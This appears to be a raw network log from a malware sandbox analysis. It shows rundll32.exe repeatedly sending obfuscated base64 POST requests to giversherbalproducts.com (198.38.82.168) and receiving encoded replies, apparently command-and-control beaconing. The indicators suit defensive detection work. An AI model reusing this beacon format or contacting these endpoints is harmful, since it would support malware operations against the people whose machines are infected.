f3p/QUVCQ0FBfn15eH96fXh4dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
338	192.168.2.3	50180	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:58.025955915 CEST	7459	OUT	POST /lBawcxb5/OSEJRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:58.642800093 CEST	7460	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:58 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
339	192.168.2.3	50181	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:58.742686033 CEST	7461	OUT	POST /lBawcxb5/BkN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:59.238574028 CEST	7463	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:58 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49789	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:27.560178041 CEST	1117	OUT	POST /lBawcxb5/MyYYFB8/BgEuIANyGHgkPAMsGDcYQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:28.081546068 CEST	1119	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:27 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpze0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
340	192.168.2.3	50182	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:58.986479998 CEST	7462	OUT	POST /lBawcxb5/LHsgBQ4OEg8oLiR4Qn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:59.439302921 CEST	7463	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:59 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
341	192.168.2.3	50183	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:59.585617065 CEST	7464	OUT	POST /lBawcxb5/LSUDfRkPAQYVLC17IwcGAAMOHTciHiYPF39DenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:00.056375980 CEST	7466	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:59 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 34 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh4dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
342	192.168.2.3	50184	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:59.867185116 CEST	7465	OUT	POST /lBawcxb5/GxNyGCI/LH8FDn4dKhZ3Kj0CNi4fLTIHIT4+HUV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:00.385198116 CEST	7467	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:59 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
343	192.168.2.3	50185	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:00.476531029 CEST	7467	OUT	POST /lBawcxb5/HRksIwQOHDw7KBMPDCUeHgQnIxZCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:00.978023052 CEST	7469	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:00 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
344	192.168.2.3	50186	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:00.742311954 CEST	7468	OUT	POST /lBawcxb5/fDovHR4MJAE7IAITfnhGenN5Yn59cmV+YXg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:01.188082933 CEST	7470	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:00 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
345	192.168.2.3	50187	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:01.330919981 CEST	7471	OUT	POST /lBawcxb5/CH56O30eDBI7IBMIKCYBLicRLTpCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:01.776892900 CEST	7472	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:01 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
346	192.168.2.3	50188	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:01.572763920 CEST	7472	OUT	POST /lBawcxb5/DCN9DjcGDiYmIB8OeB4gLnM/GScxBAgmCSAiBkV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
